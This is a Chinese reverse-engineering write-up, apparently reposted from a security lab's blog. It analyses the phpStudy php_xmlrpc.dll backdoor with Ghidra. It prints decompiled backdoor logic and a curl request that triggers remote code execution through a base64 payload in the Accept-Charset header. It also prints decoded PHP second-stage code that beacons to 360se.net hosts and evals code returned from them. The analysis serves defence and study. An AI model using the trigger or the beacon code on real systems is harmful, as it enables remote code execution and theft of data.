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使用 Ghidra 分析 phpStudy 后门

发表于：2024-10-29 作者：千家信息网编辑

千家信息网最后更新 2024年10月29日，作者：lu4nx@知道创宇404积极防御实验室作者博客：《使用 Ghidra 分析 phpStudy 后门》原文链接：https://paper.seebug.org/1058/这次事件已过去数日，该

千家信息网最后更新 2024年10月29日使用 Ghidra 分析 phpStudy 后门

作者：lu4nx@知道创宇404积极防御实验室

作者博客：《使用 Ghidra 分析 phpStudy 后门》

原文链接：https://paper.seebug.org/1058/

这次事件已过去数日，该响应的也都响应了，虽然网上有很多厂商及组织发表了分析文章，但记载分析过程的不多，我只是想正儿八经用 Ghidra 从头到尾分析下。

1 工具和平台

主要工具：

Kali Linux
Ghidra 9.0.4
010Editor 9.0.2

样本环境：

Windows7
phpStudy 20180211

2 分析过程

先在 Windows 7 虚拟机中安装 PhpStudy 20180211，然后把安装完后的目录拷贝到 Kali Linux 中。

根据网上公开的信息：后门存在于 php_xmlrpc.dll 文件中，里面存在"eval"关键字，文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。

因此，先去找到有后门的文件：

lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;3d2c61ed73e9bb300b52a0555135f2f7  ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll7c24d796e0ae34e665adcc6a1643e132  ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll3ff4ac19000e141fef07b0af5c36a5a3  ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dllc339482fd2b233fb0a555b629c0ea5d5  ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll5db2d02c6847f4b7e8b4c93b16bc8841  ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll42701103137121d2a2afa7349c233437  ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll0f7ad38e7a9857523dfbce4bce43a9e9  ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll149c62e8c2a1732f9f078a7d17baed00  ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dllfc118f661b45195afa02cbf9d2e57754  ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll

将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来，再确认下是否存在后门：

lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep evalzend_eval_string@eval(%s('%s'));%s;@eval(%s('%s'));

从上面的搜索结果可以看到文件中存在三个"eval"关键字，现在用 Ghidra 载入分析。

在 Ghidra 中搜索下：菜单栏"Search" > "For Strings"，弹出的菜单按"Search"，然后在结果过滤窗口中过滤"eval"字符串，如图：

从上方结果"Code"字段看的出这三个关键字都位于文件 Data 段中。随便选中一个（我选的"@eval(%s('%s'));"）并双击，跳转到地址中，然后查看哪些地方引用过这个字符串（右击，References > Show References to Address），操作如图：

结果如下：

可看到这段数据在 PUSH 指令中被使用，应该是函数调用，双击跳转到汇编指令处，然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在 Decompile 窗口中：

如果没有看到 Decompile 窗口，在菜单Window > Decompile 中打开。

在翻译后的函数 FUN_100031f0 中，我找到了前面搜索到的三个 eval 字符，说明这个函数中可能存在多个后门（当然经过完整分析后存在三个后门）。

这里插一句，Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些，比如 Ghidra 转换的这段代码：

puVar8 = local_19f;while (iVar5 != 0) {  iVar5 = iVar5 + -1;  *puVar8 = 0;  puVar8 = puVar8 + 1;}

在IDA中翻译得就很直观：

memset(&v27, 0, 0xB0u);

还有对多个逻辑的判断，IDA 翻译出来是：

if (a && b){...}

Ghidra 翻译出来却是：

if (a) {  if(b) {  }}

而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的，在理解这类代码上我花了好几个小时。

2.1 第一个远程代码执行的后门

第一个后门存在于这段代码：

iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,                       s__SERVER_1000ec9c,~uVar6,&local_14);if (iVar5 != -1) {  uVar6 = 0xffffffff;  pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;  do {    if (uVar6 == 0) break;    uVar6 = uVar6 - 1;    cVar1 = *pcVar9;    pcVar9 = pcVar9 + 1;  } while (cVar1 != '\0');  iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28                         );  if (iVar5 != -1) {    pcVar9 = s_gzip,deflate_1000ec74;    pbVar4 = *(byte **)*local_28;    pbVar7 = pbVar4;    do {      bVar2 = *pbVar7;      bVar11 = bVar2 < (byte)*pcVar9;      if (bVar2 != *pcVar9) {      LAB_10003303:        iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);        goto LAB_10003308;      }      if (bVar2 == 0) break;      bVar2 = pbVar7[1];      bVar11 = bVar2 < ((byte *)pcVar9)[1];      if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;      pbVar7 = pbVar7 + 2;      pcVar9 = (char *)((byte *)pcVar9 + 2);    } while (bVar2 != 0);    iVar5 = 0;  LAB_10003308:    if (iVar5 == 0) {      uVar6 = 0xffffffff;      pcVar9 = s__SERVER_1000ec9c;      do {        if (uVar6 == 0) break;        uVar6 = uVar6 - 1;        cVar1 = *pcVar9;        pcVar9 = pcVar9 + 1;      } while (cVar1 != '\0');      iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +                             0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);      if (iVar5 != -1) {        uVar6 = 0xffffffff;        pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;        do {          if (uVar6 == 0) break;          uVar6 = uVar6 - 1;          cVar1 = *pcVar9;          pcVar9 = pcVar9 + 1;        } while (cVar1 != '\0');        iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,                               &local_1c);        if (iVar5 != -1) {          uVar6 = 0xffffffff;          pcVar9 = *(char **)*local_1c;          do {            if (uVar6 == 0) break;            uVar6 = uVar6 - 1;            cVar1 = *pcVar9;            pcVar9 = pcVar9 + 1;          } while (cVar1 != '\0');          local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);          if (local_10 != (undefined4 *)0x0) {            iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);            local_24 = *(undefined4 *)(iVar5 + 0x128);            *(undefined **)(iVar5 + 0x128) = local_ec;            iVar5 = _setjmp3(local_ec,0);            uVar3 = local_24;            if (iVar5 == 0) {              zend_eval_string(local_10,0,&DAT_10012884,param_3);            }            else {              *(undefined4 *)                (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =                local_24;            }            *(undefined4 *)              (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;          }        }      }    }  } }

阅读起来非常复杂，大概逻辑就是通过 PHP 的 zend_hash_find 函数寻找 $_SERVER 变量，然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头，如果 Accept-Encoding 的值为 gzip,deflate，就调用 zend_eval_string 去执行 Accept-Encoding 的内容：

zend_eval_string(local_10,0,&DAT_10012884,param_3);

这里 zend_eval_string 执行的是 local_10 变量的内容，local_10 是通过调用一个函数赋值的：

local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);

函数 FUN_100040b0 最后分析出来是做 Base64 解码的。

到这里，就知道该如何构造 Payload 了：

Accept-Encoding: gzip,deflateAccept-Charset: Base64加密后的PHP代码

朝虚拟机构造一个请求：

$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6

结果如图：

2.2 第二处后门

沿着伪代码继续分析，看到这一段代码：

if (iVar5 == 0) {  puVar8 = &DAT_1000d66c;  local_8 = &DAT_10012884;  piVar10 = &DAT_1000d66c;  do {    if (*piVar10 == 0x27) {      (&DAT_10012884)[iVar5] = 0x5c;      (&DAT_10012885)[iVar5] = *(undefined *)puVar8;      iVar5 = iVar5 + 2;      piVar10 = piVar10 + 2;    }    else {      (&DAT_10012884)[iVar5] = *(undefined *)puVar8;      iVar5 = iVar5 + 1;      piVar10 = piVar10 + 1;    }    puVar8 = puVar8 + 1;  } while ((int)puVar8 < 0x1000e5c4);  spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);  spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,           local_8);  iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);  local_10 = *(undefined4 **)(iVar5 + 0x128);  *(undefined **)(iVar5 + 0x128) = local_6c;  iVar5 = _setjmp3(local_6c,0);  uVar3 = local_10;  if (iVar5 == 0) {    zend_eval_string(local_8,0,&DAT_10012884,param_3);  }  else {    *(undefined4 **)      (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;  }  *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =    uVar3;  return 0; }

重点在这段：

puVar8 = &DAT_1000d66c;local_8 = &DAT_10012884;piVar10 = &DAT_1000d66c;do {  if (*piVar10 == 0x27) {    (&DAT_10012884)[iVar5] = 0x5c;    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 2;    piVar10 = piVar10 + 2;  }  else {    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 1;    piVar10 = piVar10 + 1;  }  puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4);

变量 puVar8 是作为累计变量，这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据，于是选中切这行代码：

puVar8 = &DAT_1000d66c;

双击 DAT_1000d66c，Ghidra 会自动跳转到该地址，然后在菜单选择 Window > Bytes 来打开十六进制窗口，现已处于地址 0x1000d66c，接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来：

选择菜单 Select > Bytes；
弹出的窗口中勾选"To Address"，然后在右侧的"Ending Address"中填入 0x1000e5c4，如图：

按回车后，这段数据已被选中，我把它们单独拷出来，点击右键，选择 Copy Special > Byte String (No Spaces)，如图：

然后打开 010Editor 编辑器：

新建文件：File > New > New Hex File；
粘贴拷贝的十六进制数据：Edit > Paste From > Paste from Hex Text

然后，把"00"字节全部去掉，选择 Search > Replace，查找 00，Replace 那里不填，点"Replace All"，处理后如下：

把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据：

$ file p1p1: zlib compressed data

用 Python 的 zlib 库就可以解压，解压代码如下：

import zlibwith open("p1", "rb") as f:    data = f.read()    print(zlib.decompress(data))

执行结果如下：

lu4nx@lx-kali:/tmp$ python3 decom.pyb"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"

用 base64 命令把这段 Base64 代码解密，过程及结果如下：

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){        $result = "";  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  if( !$handle ){    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);        if( !$handle ){                return "err";        }  }  fwrite($handle, $sendMsg."\n");        while(!feof($handle)){                stream_set_timeout($handle, 2);                $result .= fread($handle, 1024);                $info = stream_get_meta_data($handle);                if ($info['timed_out']) {                  break;                }         }  fclose($handle);  return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {        $n = false;        foreach ($ds as $d){                $b = false;                foreach ($ps as $p){                        $result = tcpGet($i,$d.".360se.net",$p);                        if ($result != "err"){                                $b =true;                                break;                        }                }                if ($b)break;        }        $info = explode("<^>",$result);        if (count($info)==4){                if (strpos($info[3],"/*Onemore*/") !== false){                        $info[3] = str_replace("/*Onemore*/","",$info[3]);                        $n=true;                }                @eval(base64_decode($info[3]));        }}while($n);

2.3 第三个后门

第三个后门和第二个实现逻辑其实差不多，代码如下：

puVar8 = &DAT_1000d028;local_c = &DAT_10012884;iVar5 = 0;piVar10 = &DAT_1000d028;do {  if (*piVar10 == 0x27) {    (&DAT_10012884)[iVar5] = 0x5c;    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 2;    piVar10 = piVar10 + 2;  }  else {    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 1;    piVar10 = piVar10 + 1;  }  puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c);spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);local_18 = *(undefined4 *)(iVar5 + 0x128);*(undefined **)(iVar5 + 0x128) = local_ac;iVar5 = _setjmp3(local_ac,0);uVar3 = local_18;if (iVar5 == 0) {  zend_eval_string(local_c,0,&DAT_10012884,param_3); }

重点在这段：

puVar8 = &DAT_1000d028;local_c = &DAT_10012884;iVar5 = 0;piVar10 = &DAT_1000d028;do {  if (*piVar10 == 0x27) {    (&DAT_10012884)[iVar5] = 0x5c;    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 2;    piVar10 = piVar10 + 2;  }  else {    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;    iVar5 = iVar5 + 1;    piVar10 = piVar10 + 1;  }  puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c);

后门代码在地址 0x1000d028~0x1000d66c 中，提取和处理方法与第二个后门的一样。找到并提出来，如下：

lu4nx@lx-kali:/tmp$ python3 decom.pyb" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"

把这段Base64代码解码：

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";        $out .= "Host: {$h}\r\n";        $out .= "Accept-Encoding: compress,gzip\r\n";        $out .= "Connection: Close\r\n\r\n";        fwrite($fp, $out);        fclose($fp);}